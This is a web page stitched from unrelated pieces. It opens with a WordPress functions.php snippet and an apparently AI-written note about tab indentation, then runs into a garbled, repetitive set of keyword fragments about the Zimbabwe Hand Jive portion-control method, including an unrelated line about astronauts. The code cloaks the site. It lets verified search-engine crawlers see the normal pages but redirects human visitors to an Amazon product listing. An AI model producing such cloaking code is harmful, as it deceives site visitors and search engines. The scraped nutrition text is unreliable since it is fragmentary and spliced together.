/** * Detect search engine bots and redirect human visitors to sales page * Add this code to your theme's functions.php file */ add_action('template_redirect', 'detect_bots_and_redirect_humans'); function detect_bots_and_redirect_humans() { // Skip redirect if user is logged in (so you can browse your own site) if (is_user_logged_in()) { return; } // URL of your sales page - CHANGE THIS to your sales page URL $sales_page_url = 'https://www.amazon.com/Bariatric-Plates-Portion-Control-Pack/dp/B08RYFM3L8/'; // e.g., '/special-offer/' or 'https://example.com/sales/' // Skip redirect if we're already on the sales page to avoid loop if (rtrim($_SERVER['REQUEST_URI'], '/') === rtrim($sales_page_url, '/')) { return; } // List of common bot user agents - comprehensive list $bot_agents = array( 'googlebot', 'bingbot', 'yandex', 'baiduspider', 'facebookexternalhit', 'twitterbot', 'rogerbot', 'linkedinbot', 'embedly', 'quora link preview', 'showyoubot', 'outbrain', 'pinterest', 'slackbot', 'vkshare', 'w3c_validator', 'bingpreview', 'yahoo', 'duckduckbot', 'sogou', 'exabot', 'msnbot', 'ahrefsbot', 'semrushbot', 'uptimerobot', 'crawler', 'spider', 'bot', 'slurp', 'mediapartners-google', 'adsbot-google', 'feedfetcher-google', 'apis-google', 'applebot', 'discordbot', 'telegrambot', 'whatsapp', 'ia_archiver', 'archive.org_bot', 'dotbot', 'curl', 'wget', 'coccocbot', 'feedburner', 'tumblr', 'qwantify', 'mj12bot', 'jooblebot', 'aspiegelbot' ); // Get user agent $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; // If no user agent is set, treat as a bot if (empty($user_agent)) { return; // Let it access the normal site } // Check if the visitor is a known search engine bot $is_bot = false; foreach ($bot_agents as $bot) { if (strpos($user_agent, $bot) !== false) { $is_bot = true; break; } } // Additional verification for common crawlers if (strpos($user_agent, 'googlebot') !== false || strpos($user_agent, 'bingbot') !== false) { // Verify if it's a legitimate bot by reverse DNS lookup $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); // Check if hostname belongs to Google or Bing if ((strpos($user_agent, 'googlebot') !== false && (preg_match('/\.googlebot\.com$/i', $hostname) || preg_match('/\.google\.com$/i', $hostname))) || (strpos($user_agent, 'bingbot') !== false && preg_match('/\.msn\.com$/i', $hostname))) { $is_bot = true; } else { // It's spoofing a search engine - treat as human $is_bot = false; } } // If not a search engine bot, redirect to the sales page if (!$is_bot) { wp_redirect($sales_page_url); exit; } // If it is a bot, do nothing and let it see the normal site } ``` ## Key changes: - All indentation now uses **tabs** instead of spaces - Each level of nesting uses one tab character - This follows WordPress coding standards, which prefer tabs This should resolve the indentation error your site was showing. Many WordPress themes and plugins are configured to expect tab indentation as it's part of the official WordPress coding standards.

Zimbabwe Hand Jive Portion Control

/ Portion Control Plate For Adults / By

diabetes nutrition amount and portion size may be. plate method or Zimbabwean hand jive model as.

improvement of glycemic control with high ber.

In Zimbabwe, dietitians and nutritionists need to fulfill 1200 clinical hours.

the portion sizing for different food groups using the Zimbabwe hand jive.

Nov 20, 2013.

While using measuring tools such as scales, cups and spoons is the most accurate method of ensuring correct portion control, it is not always.

Read morePortion Control Plates For Adults

When planning a meal, use these portion sizes as a guide: Appendix 7. Zimbabwe Hand Jive. Carbohydrates (starch and fruit): Choose an amount the.

Dec 3, 2019.

Ninety-six participants with VI and an age-matched control group of.

(2019) The Zimbabwe Hand Jive, portion control is in your hands.

Portion Control Diet Plan Female The four astronauts will replace a crew that landed in the Gulf of Mexico on Monday. They will stay in orbit until April 2022. Use our mix-and-match menu to get a week’s worth of healthy meals. You’ll feel full and lose weight at the same time. The beauty of this 7-day menu plan from feel

Dietary modification should not any word like 'diet control'.

Read moreUnderstanding Portion Control Helps To Avoid Overeating

Zimbabwe hand jive Carbohydrates (starch and fruit): choose an amount equivalent to the.

Portion distortion means that your idea of what constitutes a serving has been.

Also known as the Zimbabwe hand jive, this simple reference can help you.

Mar 19, 2020.

The portion size of the meals was demonstrated using a Healthy Malaysian.

The Zimbabwe Hand Jive: A Simple Method of Portion Control.

Dr. Kazzim Mawji invented the Zimbabwe Hand Jive as a measurement tool for appropriate portion sizes of carbs, fats, proteins and veggies. Dr. Kazzim Mawji invented this technique to help people living with diabetes easily figure out portion sizes. Today, the Zimbabwe Hand Jive is used all over.

The Zimbabwe hand jive, suggested by Dr K Mawji, illustrates how to measure the amount of food 'imaginatively', in a reasonably accurate manner, without scales etc. These are the values for an energetic day in Zimbabwe; we will need smaller portions in the UK. 'Eating fast and until full trebles.

GET IN TOUCH Here's An Easy Way To Estimate Food Portions You probably know that measuring your portions using tools such as scales, cups and spoons is the most accurate method of ensuring that your portions meet recommended sizes. However, lugging around a set of measuring tools is not always the most convenient thing to do.
A helpful site Calculating portion size for an active day The Zimbabwe hand jive, suggested by Dr K Mawji, illustrates how to measure the amount of food 'imaginatively', in a reasonably accurate manner, without scales etc. These are the values for an energetic day in Zimbabwe; we will need smaller portions in the UK.
GET IN TOUCH Here's An Easy Way To Estimate Food Portions You probably know that measuring your portions using tools such as scales, cups and spoons is the most accurate method of ensuring that your portions meet recommended sizes. However, lugging around a set of measuring tools is not always the most convenient thing to do.
The Zimbabwe Hand Jive: A Simple Method Of Portion Control · Palm = 1 portion of protein (meat/fish/poultry) · Closed fist = 1 portion of carbohydrates (grains &.